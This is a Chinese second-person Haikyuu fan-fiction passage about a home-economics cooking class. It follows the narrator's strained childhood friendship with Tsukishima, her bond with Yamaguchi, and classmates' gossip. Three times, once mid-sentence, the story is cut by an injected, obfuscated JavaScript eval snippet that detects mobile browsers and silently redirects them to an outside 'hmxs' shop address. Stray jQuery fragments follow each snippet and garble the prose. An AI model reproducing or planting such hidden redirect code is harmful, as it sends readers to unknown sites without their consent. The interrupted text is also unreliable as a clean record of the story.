但那是你从未在月岛脸上看到过的表情。
过了很久,也没能读懂的表情。
也许是因为镜片反射的白光遮住最重要的双眼,也许是因为月岛这个时候已经长得很高,你看他隔了更多距离,也许是因为...你可能没有你想的那么了解月岛。
而月岛也不打算给你任何说明。
他一个字也没说。
直到你们一前一后走进教室,他也没再跟你说一个字。
你知道他这是生气了,但你又不知道他为什么生气。
·
下午的家政课是料理教学,内容倒是没什么问题,问题在于分组。
明明之前都是自行组队,而你基本都是跟小松美里和她在班上的其他熟人一起。
但是这次,老师莫名指定要在每个小组里分配比例对等的异性。
一听到这个要求,你当即意识到了,这是个观念相当传统、甚至是陈旧古板的老师。
因为是四人为一组的配置,小松美里跟她另外两位朋友打了声招呼,你跟她算是暂时组成半队了。
至于剩下的...
“雪村同学。”
一个从来没说过话的男生突然出现在你们面前。
你跟小松美里对视一眼,后者隐约猜到情况,前者当局者迷,还在迷茫。
你觉得没道理,组队才刚开始,他不是非得跟没人要的组员强行结伴。
更奇怪的是,在他的带动下,又有不认识的人挤到你们跟前,他们似乎把这次组队当成了什么机会。
眼神交流过后,你跟小松美里本来打算直接答应最先向你们发出邀请的男生,但就在你开口之前,山口朝这边走了过来。
跟在他身后的,自然是月岛。
14. 他也在意
不等山口说话,小松美里就朝两人挥手。
当然,只有山口回应了她。
而后你看着她跟山口在空中打了几个手势——指指你们两个,又隔空指了指山口和月岛,最后比了个OK。
山口略显尴尬的,也比了个OK。
“所以...?”你偏着头,试图对这场哑剧作出点总结。
然后你就看见小松美里竖起大拇指,似乎是对自己的安排很是满意,嘴里还发出意义不明的咂舌声。
这下你只能抱歉的看着还在迷茫阶段的男同学:“抱歉,我们已经组好队了。”
但他们也不是瞎子,虽然不知道那套手势是什么意思,但也猜的出来是因为小松美里跟后面的山口、月岛临时达成了某种约定。
两人回头看了一眼。
最先跟你说话的,名叫本多的男生略显尴尬的笑了笑,说:“既然是山口的话就没办法了,你们很早就认识了,对吧?”
“欸,不是因为月岛吗?”另一个人没有多想,顺口就问了出来。
看着已经走到近前的山口和月岛,你罕见的作出事后回想起来,都无比满意的解释——
“我们都是初中同学。”
两人顿住了,大概是才想起来还有这层原因在吧。
最先反应过来是本多,不知为何,他突然像是松了口气,松懈之下,犯下自己都没意识到的失误——
“真好啊,真羡慕他们初中就能认识雪村同学呢。”
原本嘈杂的教室,突然出现一角的安静,而这个安静的角落中心,显然就是语出惊人的本多,和被他提到的你。
跟本多一起过来的男生显然也吓了一跳,连忙提醒:“喂喂喂,你说什么呢,现在?”
而他也迅速涨红了脸,但话已出口,听者的反应也让他意识到没有撤回的可能。
如果说邀请组队还有老师要求作为幌子,那刚才这句话就再没有其他缘由了,除了...
本多不自觉抬起右手,搭在脑后,他算是男生里的平均身高,只比你高了一个头,但因为他不知何时低了点头,此刻也抬起眼皮看向你:
“雪村同学,有机会的话,我是说...等我们熟悉一点,可以和我同组吗?”
安静的范围扩大到了教室,你没有注意到这点,相反,你对他的话还感到有些困惑——
“但是,我并不擅长家政课。”
话音未落,你听见有人笑出了声。
“哧。”
你往人群里一看,毫不费力的找到罪魁祸首,赫然是站在山口旁边的月岛,他根本没法被任何抢在前面的人挡住。
本多还在因为你那句不分场合的自我评价感到迷茫,他似乎没听到月岛那声没控制住的嗤笑。
小松美里拉了拉你的袖子,你这才紧张的回过神,重新看向本多。
但你已经没什么要说的了,你也不知道自己是不是又说错了什么,还是要再说些什么。
“这、这样啊。”
随后他又快速、小声的说了句什么,你没听清,只看见他沉默的背影,同伴拍了拍他的肩膀。
分组结束以后,各组的成员围坐在料理桌前,你和小松美里同坐在一侧,正对面是月岛,以及坐在他左侧的山口。
虽然是面对面,但要说距离,倒是比你们在教室的时候远,但那时你面对的只是他的背影。
月岛没有回避你的视线,他不需要这么做。
但你怕对视进行的太久,自己露出不自然的神色,而他大概会淡定的问你有什么事。
你很怕这样的场景,总感觉自己到时又会说错话。
好在你身边还坐有小松美里这个健谈的朋友,虽然她今天出奇的沉默。
“美里。”
小松美里闻声回头,一脸‘你这家伙居然会主动’的稀奇表情。
你看出她有点戏弄你的意思,但眼下不是计较这些的时候:“你有擅长的环节吗?”
她眉毛一拧,“哈?你这是什么问题,话说凉子你今天怪...”
“我是说——”你连忙阻止她说完那个问题,那个绝对、会让你无法回答的问题。
“我可能更擅长处理食材,但烹饪的话就...比较苦手。”
小松美里突然又很体贴:“哦,这样啊。”
你欲盖弥彰的点头。
“可是凉子,你这样不太好吧?”
“怎么...”
“我们组可是有四个人啊,你只问我擅长什么,难道打算只靠你和我两个人的力量,让山口和月岛无所事事吗?”
说完,她还看向对面两人:
“你们也没有这个打算吧?”
“我无所谓。”月岛淡淡的看着你,比起你那些不方便说出口的刻意,他倒是坦然的很。
“我还是想一起完成这次的作业的,不过我想小雪也不是这个意思吧,她只是跟小松同学你比较亲近,下意识问你了。”一边说,一边向你送来鼓励的眼神。
此时你眼中的山口,仿佛散发着某种柔和的光辉。
“是——”
你正准备接过山口递来的台阶,可就在此时,小松美里不看眼色的心直口快又敲碎了你的小算盘,她一脸惊讶的说:
“我吗?怎么会,凉子不是跟你们做了三年初中同学吗?刚刚还在说来着,本多同学还很羡慕来着。”
有...有必要全部复述一遍吗!
而且说羡慕,这种事情有什么好羡慕的,那个本多同学也是奇...怪?
等等。
当脑海里出现这个名字,你也顺着思绪去找名字的主人,巧合的是,即使隔着一张料理桌和两条过道,你也发现他正在看你。
眼神撞在了一起。
他露出一个微笑,中间似有迟疑,但见你的视线迟迟没有移开,这个微笑又在他脸上扩大——
“这种事情,跟时间没关系吧。”
谁都没有想到,这个时候打破沉默的居然会是月岛。
你回过头,不再看隔着半个教室的本多,注意力又回到面前的人身上。
只是这时,月岛的话也已经说完。
跟时间没有关系?
你们刚才在聊的是...准确来说,是小松美里提出质疑的、山口在这时一如往常替你解释的、你也想顺着他递过来的话接下去的...
关于在你心中,更亲近的人选。
而他说这个人是谁,并不取决于你们认识时间的长短。
在一切接连不断的错乱与困惑中,唯独月岛的话,和话里你时常不能理解的深意,突然清晰明了。
像沉寂的夜空中撕破幕布的流星,鲜明的如此尖锐。
是吧,按理来说,你跟他认识最久,你们才应该是最亲近的人。
但事实恰好相反,在这张桌子上,你更愿意靠近的,或许是近来交流更多的小松美里,或许是从初中就相处融洽的山口,总之,绝对不会是在你们都还只是孩子的时候,就认识的月岛。
认识...话说,是从什么时候开始,你只愿意用‘认识’来形容你和月岛的关系了呢。
你不知道,你只知道那些会使你们更加亲昵的道理,那些在任何人之间都成立的常理,在你们之间,并不成立。
至少,他是这么认为的。
而事实,也证明他的对的。
“怎么会没关系呢...”
当三人惊讶的眼神一齐落到你身上时,你才终于意识到那个时候的本多同学,为什么会下意识说出那句让自己面红耳赤、近乎难堪的话。
因为有些感情,本身就是冲动。
而这种冲动,拥有与本能对抗的力量,又或许情绪的脉冲,和血液的流动一样,本身就是本能。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976392|193512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
说都说出来了,不是吗。
既然如此,那就说完吧。
和这个想法一同出现的,是水柱从气孔喷出的画面。
应该是一只蓝鲸,世界上现存最大的动物。
“怎么会跟时间没关系。”
你直视着月岛的眼睛,透明的镜片仿佛融入空气,消失不见,不成阻碍。
褐色的琥珀里冻结着复杂的情绪,是否流动,只有他自己知道。
你只知道,此刻的他没有那么平静。
你可恶的雀跃了。
“蓝鲸的平均寿命和人类接近,都有七十到九十年,而达到一百年的机率,也比人类高很多,而它们的寿命,更是比其他鲸类长多了。”
“但是,不同于结伴群游的独角鲸、座头鲸,大部分蓝鲸都是独自巡游的,最多,也只会在某些时候,两三只一起出现。”
“而和蓝鲸一起出现的,几乎也只有它们的父母,或者后代。”
“没有血缘关系,却能同行的,只有伴侣。”
“更长的寿命,换来的是更久的孤独。”
“而那些能与谁同行的时间,放在漫长的生命周期里或许极为短暂,一旦回忆起来,就比那些孤独的时刻,深刻多了。”
在你自说自话的瞬间,班长将家政课要用的围裙放在你们面前,你熟练的穿上,手指一边在腰后系上绳结,一边自然的低着头,继续。
你正准备继续。
“不是自相矛盾了吗。”
月岛的围裙早已穿戴好,隔着一张一米多宽的料理桌,他站在你面前,说出这句话。
虽然是反驳的话,虽然是指出错误的话,但你听到了,一点也不慌乱。
松紧适宜的蝴蝶结在腰后系好,你熟练的挽起衣袖,抬起头,你们谁也没有闪躲。
“不是的,月岛。”
你没有回避的、在不必要的话语末尾,带上他的名字。
为什么呢,大概是因为这句话,你就是特别想说给他听吧。
“短暂的回忆,也需要时间。”
“时间再短,也改变不了时间本身存在的事实。”
“如果它们一开始就没有相遇的话,就连回忆也没有了。”
“人类虽然有比蓝鲸更多与同类相处的机会,但不是每个人,都能在时间里变成某人的回忆的。”
“这一点,无论是孤独的蓝鲸,还是习惯群居的人,都是一样的。”
“蓝鲸无论选择谁,同行的时间都不会比独自承担的孤独更长久。”
“但是人类不同。”
“一旦选择了某个人,这个人在她生命里的时间就会超过其他人,总有一天,会超过所有人。”
直到超过孤独。
“人与人之间的相遇或许是偶然,但相遇后依旧选择待在对方的身边,只靠缘分的话,是很难做到的。”
“想要亲近起来,就更需要自身的意志了。”
“所以,我觉得月岛说的...不完全对。”
“共同拥有的时间本身,就是亲近的证明。”
当你得出最后结论的时候,月岛正在对照课代表刚刚交给他的清单,清点着你们分配到的食材。
他低着头,一面看手上的清单,一面看篮子里未经处理的食材,似乎无暇关注你的动向。
直到他放下手里的清单,抬起头/
“那...现在这种状况,你打算怎么解释?”
“雪村。”
他似乎问了个没头没尾的问题。
但你比谁都清楚,他问的是什么。
如果这里没有其他人,如果他什么都不打算顾虑,他大概会直接说——
‘那我们之间的事情,你打算怎么解释?’
而你更惊讶的,是他居然也在意这个。
他和你一样,也在意着你们之间的关系。
15. 胆小鬼
他绝不是想与你争论些什么。
在互不避让的视线交汇的那一刻起,你就意识到这一点。
山口却想知道月岛是否明白自己为什么会在这种场合,对你问出这样的问题。
而他又是否知道,你为什么会用那么长一番解释,仅仅只是为了反驳他随口说出的话。
但山口也觉得,说不定都只是他这个旁观者一厢情愿的误会。
说到底,他也不清楚你们这对幼驯染,到底是怎么变成今天这样的。
就像你之前说的,你们都是初中同学。
山口注意到你的原因也没什么特别,开学第一天,一走进教室,就听到旁边的男生一边说着你的名字,一边时不时朝你所在的角落投去试探的目光。
只是你从来不曾回应这些试图引起你注意的小把戏。
山口还听见他们开始打赌,输的人要去跟你搭话。
他没法说他们有多胆小,明明都想找你搭讪、明明都害怕被拒绝,最后还是选择推一个倒霉蛋出去,至于剩下的人,如果倒霉蛋幸运的成功了,自然也会‘顺势’围上去,坐享其成。
他没法这样说,因为他一看到你,就知道初中三年,你们都不会跟这种人有什么交集。
但是...像你这样的人。
一个人待在那边,不说话的时候,都在想些什么呢?
不能免俗的,他也短暂的好奇过这样的问题,人类对与自己截然不同的事物,有着近乎本能的好奇。
只是他没想到的是,原以为不会发生的交集不仅出现,最后,你们还成为了朋友。
那是认识月岛以后的事情了。
开学一段时间后,他也从同学的讨论中得知你跟月岛的关系,知道你们是发小。
但他还是觉得有些奇怪,他从没听月岛提起过你,除了开学那几天,也很少再看你们一起走进教室,他一度怀疑自己听错了。
尽管奇怪,面对月岛有些避而不谈的态度,他也不好跟新朋友直接打探什么,说不定就是他搞错了呢。
直到那天,他跟月岛约好周末要去看他在乌野排球部的哥哥的比赛,虽然中间因为某位同学的质疑,出现了一些小插曲,但周末共同外出的计划,的确让他们之间的友谊又增进了一步。
那个时候他已经不再关心你的事情,不如说,比起那个被大家在意的雪村同学,现在的你,更多的是貌似是阿月的发小的雪村同学。
在去体育馆之前,他也跟月岛约好,先去他家会面,然后再一起出发。
他就是在月岛家的门口看到你的。
你正在跟一个女人说话,后来他知道那是月岛的妈妈。
你微低着头,卷发遮住一半侧脸,只看见长的出奇的睫毛低垂着,其余表情一概不见。
你将手背在身后,拎着一个便利店包装的塑料袋,里面似乎是一盒杯面。
塑料袋提手在你手指间,葱白的手指不安的绞动着,暴露你的纠结。
“萤回来了?这是山口君吧?”
月岛妈妈是个很和气的人,她看到一同走来的月岛和山口,亲切的跟儿子的同学打着招呼。
你也朝这边看来,但山口发现你回头的动作来的有些迟疑,不知道是不是他看错了,你的确僵硬了一瞬,你是过了一会,才回过头来的。
你私下穿的衣服跟在班上也没什么区别,你似乎钟爱蓝色,要么特别深,像是维度特别高的海;要么特别浅,像海洋上漂浮的,只是反射着天空颜色的冰川。
但你今天穿的是一件白色的长T,没有任何花纹与图案,颜色也没有,只有袖口的形状有点特别,像喇叭花。
唯一的色彩,就只有你的眼睛,和浅蓝色的牛仔裤。
他跟月岛走到近前,先是跟身为长辈的月岛妈妈问了好,然后看向你。
他莫名有些紧张,紧张到越是走近,越是没有发现,你眼神躲闪的明显,逃跑的冲动藏不住了。
“早、早上好,雪村同学。”
你听到自己的名字,才反应过来有人在叫你,你下意识以为月岛的朋友跟他一样,也是不会在意你的。
但你闻声看去,才知道原因。
“你好,山口同学。”
你没拆穿他现在已经是中午,毕竟这位只在你脑海中留下名字、再无其他印象的同学,此刻让你感到有些亲切,因为你很能理解他,尤其是看到他紧张的表现。
“已经是中午了啊。”月岛却没有这个打算。
“欸、说的是,抱歉,我搞错了,阿月。”
山口愣了愣,很快反应过来,但无地自容的尴尬没有出现,只是不好意思的摸了摸后脑勺。
你才发现自己搞错了,他跟你也不一样。
分神间,你已经答应了月岛妈妈的邀请,刚去便利店买的杯面派不上用场了,你回了趟家,把东西放下后,就出现在月岛家门口。
你按下门铃,以为开门的人会是月岛,没想到是山口。
不知道为什么,他跟你说话有些紧张——这一点,你也是刚刚才想明白的,毕竟他无论是跟月岛、还是月岛妈妈说话的时候都表现的很自然,只在跟你问好的时候出现了失误。
尽管如此,先开口打破沉默的依旧是他:
“没想到雪村同学会记得我的名字。”
在确认你跟月岛的确是很早就认识以后,被你记住名字的惊讶也有了解释,可能还是看在阿月的面子上...
“怎么会?”你疑惑的歪了歪头,柔软而轻盈的卷发朝偏头的方向偏袒着,“我跟你是同班的,忘了吗?”
当然...没有。
山口突然不说话了。
他突然觉得,自己对你做了件非常失礼的事。
雪村同学就是雪村同学,不应该是什么...‘貌似是阿月发小的雪村同学’。
“抱...”
话没说完,就见你又是摇头。
你发现他真的很喜欢道歉,哪怕是一些没什么大不了的、无关紧要、甚至完全不存在的小事。
“山口同学,你跟月岛待会是要去看明光哥的比赛吗?”
是为了区分吗?为什么对阿月只是叫姓氏,对阿月的哥哥就是名字了呢。
山口一边想着,一边点头。
他没想太多,最多也就是好奇你是怎么知道的,他以为你从不关注班上的动向,更何况这次看比赛的约定,也只在那天,在教室的一角,在三个人之间出现过。
你是怎么知道的呢。
“已经...确定要去了吗?”
再一回神,山口才发现你脸上的表情很是复杂,至少他从没看你、或者月岛露出过这样的表情。
他又想到刚才看见你的时候,被你藏在身后的塑料袋。
他下意识低头,看见你垂在两侧,似乎是握成拳、似乎又只是紧紧拽住衣袖边缘的双手。
稍微抬头,又看见被你咬住的下唇,你抿着嘴,犹豫比任何时候都明显。
“....有什么问题吗?”山口轻声问道。
你越过他,看向他身后——
最终放开了被上齿挤压到发白的嘴唇,干涩的嗓子里冒出不确定的字眼:“没什么。”
你没有正面回答他的问题。
但也可以说,你说谎了。
你终于还是没把自己知道的事情说出来,你考虑过很多因素,但归根结底,你都把这归于同一个理由——
因为你是个胆小鬼,自私的、胆小鬼。
事实证明,那位同学没有说错,乌野的王牌的确不是月岛的哥哥。
那个人倒是没有大肆张扬些什么,但你还是察觉到一定是发生了什么。
只是以你的立场,无论发生了什么,对于你在意的那个人,你也没有能说出口的安慰。
你又想起那天看到过的景象,你看到停在体育馆门口的、乌野排球部的大巴,而明光哥没有跟那些被教练和老师围在一起的成员,站在一起。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976393|193512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
当你好奇的走进体育馆,更没有在赛场上,看见本该出现在那里的明光哥。
你没想太多,只以为是他受伤了没有上场,又或者排球社有什么你不知道规矩。
但当你走出体育馆的时候,又被人拉住了。
是明光哥。
“小、小雪。”
他喘着气,声音有些颤抖,可能是因为急着冲出来,也可能是因为别的。
“这件事,不要告诉萤可以吗?”
“...拜托你了。”
你从没见过这样的明光哥,从你们第一次见面,从他第一次拉着你的手欢迎你,照顾你,又把自己的弟弟介绍给你想让你们成为朋友开始,一直像哥哥一样的明光哥,从来没有说过这样艰难的话。
仿佛说话本身,都成了一种困难。
你以为你们是不一样的,这一点你从未有过怀疑。
但此刻,你又觉得,你们或许是一样的,在某些时刻。
可此时的你却没有丝毫庆幸,你只觉得害怕,做错了事的孩子会有的害怕。
你做错了,你不该来这里,不该让他看见你。
这样的话,他就不需要露出这样的表情,又逼自己说这样的话了。
所以...现在的月岛,会是怎样的表情呢。
你的位置在教室最前,除非刻意回头,否则你是看不见坐在后面的人脸上的表情的。
到了部活时间,初中的时候如果没有参加社团,是可以直接离开的,学校没有规定义务劳动。
你像往常一样离开教室,却在走廊被人叫住。
“雪村同学。”
你回过头,看到的是山口。
你知道他想说什么。
“雪村同学,是不是知道什么,那天你...”
“那又怎样。”
你罕见的打断他,果断的急切,像不打自招。
只是一说完,你又觉得后悔。
你想说的是其实是就算知道,你也做不了什么,你现在跟月岛的关系很一般,更何况你还答应了明光哥。
你也想知道现在的月岛会是怎样的表情,但你更不敢去看。
因为无论那张表情上出现多少裂痕,都有你的一份错责。
那天你出现在体育馆,是你做错的第一件事。
而当你知道去到那个体育馆的月岛将会面对什么,你却选择袖手旁观时——是你做错的第二件事。
现在,面对或许是替朋友来打抱不平的山口,你可能是又说错话了——但是...算了。
已经,不关你的事了。
不要再自作多情了。
见山口沉默,你转身准备离开。
“抱歉!”山口却跟你道歉。
做错事的是你,他却跟你道歉。
为什么?
他就这么喜欢道歉吗?
他就这么喜欢把事情揽到自己身上吗?
为什么啊...明明,不是他的错啊。
“我、我没有好好考虑雪村同学你的心情,不该这样质问你。”
不对,不该是这样的。
他没有做错什么,错的人是你。
不该是他跟你道歉的、错的人不是他、你...
“我没有觉得被质问,你不用跟我道歉。”
不对,这么说也不对。
“那天我是因为,因为...”
“因为我们已经决定要去了,所以雪村同学觉得,就算说出来,也没有办法改变什么——是这样吗?”
是的。
是这样。
虽然,还有别的原因...
最终,你缓慢点头。
而后你看到对面的人笑了,夕阳倾斜的角度已经足以让自己从窗外进入,洒满它所经过的每一处。
你发现山口脸上的雀斑,也变成了更深的、带着淡淡金色的光点,还有那个不容忽视的笑容——
“雪村同学,跟阿月很像呢。”
16.事实
山口说你和月岛很像。
怎么可能呢。
没有任何缘由,听到这句话,你想起的居然是你和月岛第一次见面的场景。
你艰难的拉开一扇门,看到一个个子很高的男生。
也许是因为月岛明光第一次跟你说话的时候弯了腰,而月岛却没有。
也许是因为第一次去海洋馆看到虎鲸时它只是经过并没有看你一眼——月岛却不是。
这个‘庞然大物’就这么直直的站在门外,看着你。
“你是谁?”
你清晰的记得,这是他跟你说的第一句话。
另一句印象深刻的话是他的笑声,因为你说你喜欢那些体型庞大的动物。
他没解释,当时你也不明白,但随着画面在逐渐成熟的脑海中不断上演,曾经丢失的细节此刻也浮出水面。
他那样笑你,多半是觉得你不自量力。
自己那么小一个,却向往过分庞大的事物——也许人就是会被与自己截然相反的存在吸引?
但也不一定。
对于同为人类的你们而言,这种不同出现的场合,是有限制的。
你一直觉得,外形是最不重要的,重要的是内心。
人是随心游动的鱼类,他们只会被游动轨迹与自己不同的物种吸引。
你知道月岛也不太喜欢说自己的事情,像他这样的人,如果要恋爱的话,还是和坦率的女孩子合适。
如果是一个有勇气说出自己的想法的女孩子,再由她直白的问问月岛又在想些什么——面对这样的攻势,哪怕是善于用尖锐言辞作为防御的月岛,恐怕也很难招架吧。
那样的话,他就会愿意说了。
他什么都会愿意说了。
而不是...‘算了’。
所以,当你听到山口的这句话时,你努力想要高兴,最终也没高兴起来。
“是吗...原来是这样吗。”你喃喃道,若有所悟的样子。
山口愣住了。
是他想错了吗?
他还以为,哪怕你们很少说话,但光看你的表现,至少你——你应该是在乎月岛的。
为何他这么说,却让你露出落寞的表情了呢?
这个问题他一直想不明白,哪怕你事后告诉他,可以不用叫你的姓氏,叫你小雪就好,而你也会直接叫他的名字。
哪怕你说,你们可以成为朋友。
哪怕你说,他是你主动交好的,第一个朋友。
天知道他那时有多高兴,他知道你不会说空话,既然这么说了,那一定就是真的。
事实也的确如此,回到学校,你也会主动跟他打招呼,而他找你说话,你也从不拒绝,也不敷衍回应。
而在需要帮助时,你也总是下意识看向他——
有一瞬间,山口甚至觉得,自己获得了某种使命。
不是你在依赖他,而是他自己想这么觉得,他希望自己能帮到你,尤其是,当你无法说出某些话的时候。
你们的关系也在这期间一点一点拉近,与之相反的,则是你与月岛愈发淡漠的儿时情谊。
作为两人共同的好友,山口当然也在担心你们的关系,但不论与你和月岛的友谊如何增进,对于你们之间的事情,他始终没有插手的机会,或者立场。
再然后,连他自己的立场都变了。
他喜欢你。
要说是从什么时候开始,山口已经记不清了,但要说他喜欢你什么,如果你问的话,他一定能不假思索的回答你,如果,你问的话...
正因为他也知道你对他始终只有作为朋友的信任与依靠,所以他能做的,似乎也只有留在原地,等你来发现。
只是等着等着,曾经遗忘的细节又重新出现。
当你的眼睛望向月岛,当那种情绪无声蔓延——占据你眼中那片不该为任何人翻涌的冰海时,他才想起来自己忘记了什么。
为什么,又是这种落寞的表情呢?
看到阿月,你很难过吗?
可为什么又不去找他说话呢?
难道你不知道,你对他来说,也是特殊的吗?
你难道没有发现,阿月从来不对你说带刺的话?
你总是回避他的目光,问好的声音都微不可闻。
为什么、你在心虚什么?你低着头,在躲避什么?你在愧疚什么——
你难道,又觉得自己做错了什么?
但那到底是什么。
如果你不说,就算是他,也没办法知道。
如果你不说,就算是阿月,也不可能知道了。
所以...
当月岛平静的问句落下,山口突然领悟他的用意。
无论是在排球部追问你为什么不肯在教室把便当给他,还是现在,直接了当的问你如何看待你们之间的关系,月岛一直在做同一件事。
那件被他在兴奋中遗忘,被你习以为常的逃开,唯独没有被月岛忽略的事。
见你没有答复,月岛又说了一遍。
这次连小松美里都意识到事情的严重性。
“现在,说说看吧。”
他想听你亲口告诉他。
不管是什么事,不管是什么理由。
他想听你的真心话。
哪怕你觉得艰难,哪怕被你讨厌,哪怕会把你越推越远——
他也想你说出来。
‘不会比现在更糟糕了’
作为朋友,山口理解了月岛的做法。
和他自己一直引为骄傲的,截然不同的做法。
他才不要当你的代言人,他不会帮你开口的,他甚至还会跟你吵架。
但却是这么做的月岛,得到了你最坦诚的告白。
你的确是把山口当作朋友的,你一直都是这么做的。
他却把你当作需要照顾的一方,他打破了这种平等,以一种自以为是的傲慢,这让他无地自容。
他甚至能想象到,如果他告诉你自己的想法,如果他跟你道歉,你甚至还会笑着原谅他——
“怎么会呢,我没有觉得被小看啊。”
而那一定不会是你的真心话。
你没想到会被追问到这个地步。
你习惯性的看向一边山口,用你无自觉的、求助的目光。
山口的眼神没有躲闪,他满怀纠结的看着你,同时抿紧了嘴唇。
“算怎么回事...”你紧蹙着眉,眼睫颤动着,“还能算怎么回事。”
“你这样问我,难道是觉得还有其他可能吗?”
你看着月岛,眼中没有委屈,只有无解的困惑。
“啊...谁知道呢。”月岛最后是这么说的。
你感到一种憋闷,仿佛有什么快被戳破了,但是结果始终停在那个临界点上,没有再进一步。
这次家政课的课题是做筑前煮,一种传统料理,需要的食材不多,也很容易获取,烹饪过程也没有太多复杂的步骤,只要把食材和调味料都处理好,再按照顺序放入锅中炖煮就好。
你和山口负责把胡萝卜、莲藕、牛蒡以及要用到的魔芋豆腐切成合适的大小,香菇的改刀和调味料的处理交给月岛,小松美里则开始腌制已经被她切好的鸡肉块并准备下锅翻炒。
中间小松美里和山□□换了位置,方便你们一起处理蔬菜。
“要切成花朵的形状吗?会不会划到手?”山口担心的注视着你手上的动作,都忘记手头还有任务。
“她不是说自己擅长这个吗。”月岛默默提醒,“我已经结束了,你们还剩多少?”
说着就看向你和山口中间摆放的,已经洗净的蔬菜。
又听到四周已经响起的,咕嘟咕嘟的煮沸声...
你还在研究该怎么把莲藕也修成近似花朵的形状,顺着额角垂下的卷发挡住一侧的视线,直到你放下刀,想用手去揉过度集中而干涩的眼睛时——
“你...”
情急之下,月岛居
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979673|193512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
然直接抓住你的手腕。
惊讶的不止是你,就连他自己也没有想到会做出这样的举动,话也卡在嘴边。
但被你呆愣的目光看久了,尴尬也逐渐消失。
“打算直接用手吗?”视线一转,月岛看向你还泛着水光的右手——案板、莲藕、刀柄,具体是从哪沾到的已经记不清了,但即便带着手套,手套表面也被来路不明的水沾湿。
你说不出话,都忘记眼睛干涩的难受,也可能是眨眼频繁,以另一种方式缓解了这种不适。
月岛松开你的手,你慢半拍的摘下手套,山口从身后递来纸巾:
“用这个吧。”
“谢谢小忠。”
你摘下手套,低头接过,将纸巾按在眼角擦干沁出的液体,但不是眼泪。
这一幕也落在教室后方的人眼里。
“只是初中同学吗。”本多泽野皱着眉,一脸苦相。
朋友再次拍了拍他的肩膀,安慰道:“至少你还有机会啦。”
“如果是说雪村同学的话...”对面的女生回头看了眼两人留意的方向,转过头来说:“二年级的新谷前辈不是来班上找过她一次吗。”
“新谷...新谷正一吗?学生会长?!”
本多泽野忍不住抬高音量,他平时很少这样大声说话的,实在是情况特殊。
一边是初中同学的月岛、山口,一边还有二年级的学生会长...
“啊,不行,已经没机会了。”本多泽野垂着头,用力叹了口气。
“开学还不到一个月,就已经有三人...算上你的话,都有四个人了啊。”朋友感慨道,完全没有思考自己的话会给话里话外的人带来怎样的影响。
“你这话是什么意思啊。”本多泽野不认可的反驳,但刚才的每一个字都已经全数落进耳朵里,哪怕不愿意,也要往心里钻。
刚才说话的女生早就已经沉默,虽然开学的时候,的确因为太想跟雪村同学交朋友、一时失去分寸,才跟她闹得不太愉快,但那件事的确是自己的问题,她绝对没有因为那件事对雪村同学有什么不好的看法。
学生会长来班上找人的事情其他人也是知道的,她再说出去本来也没什么但是...
她为什么要说这些呢。
她又不喜欢本多同学,她为什么,要说出对雪村同学不好的事情呢?虽然那也是事实...
没错。
因为是事实,所以想要说出来,也没什么问题吧?
而且看本多同学的样子,也不怎么在意嘛。
想到这里,她终于还是松了口气。
但是第二天,当本多泽野把山口忠叫出教室,然后所有人都听见两人在走廊外的争执时,她才知道那些都只不过是侥幸。
“你在说什么啊?!”山口不敢置信的看着眼前这个人。
昨天还在跟小雪示好,今天跑来跟他说这些话——他到底知不知道自己说的话,会给小雪造成多大的麻烦?
当你走进教室的时候,看到的就是这样的景象。
山口和昨天想跟你组队的男生面对面站在走廊,两人之间气氛连站在十米开外的你都察觉到不对。
更何况你从未看见山口用这样的语气跟人说话。
与此同时,教室里的月岛也在同学的提醒下走出教室,此时正来到门口。
“山口同学,我完全理解你的心情,其实我昨天也是这么想的,但是我跟人打听过了,雪...总之,她一定也对你们做了同样的事情,只是你和我——”
话还没说完,本多泽野感到领口一紧,衣领已经被人紧紧攥住。
“就是因为有你们这种人,小雪她才...”
本多泽野想撤开山口的手,但不管他怎么用力,也无法动摇分毫。
就在他准备用上双手的力气时,又有人加入两人的对话。
“没猜错的话,这个‘你们’里面...不会还有我吧?”
说话的人是月岛。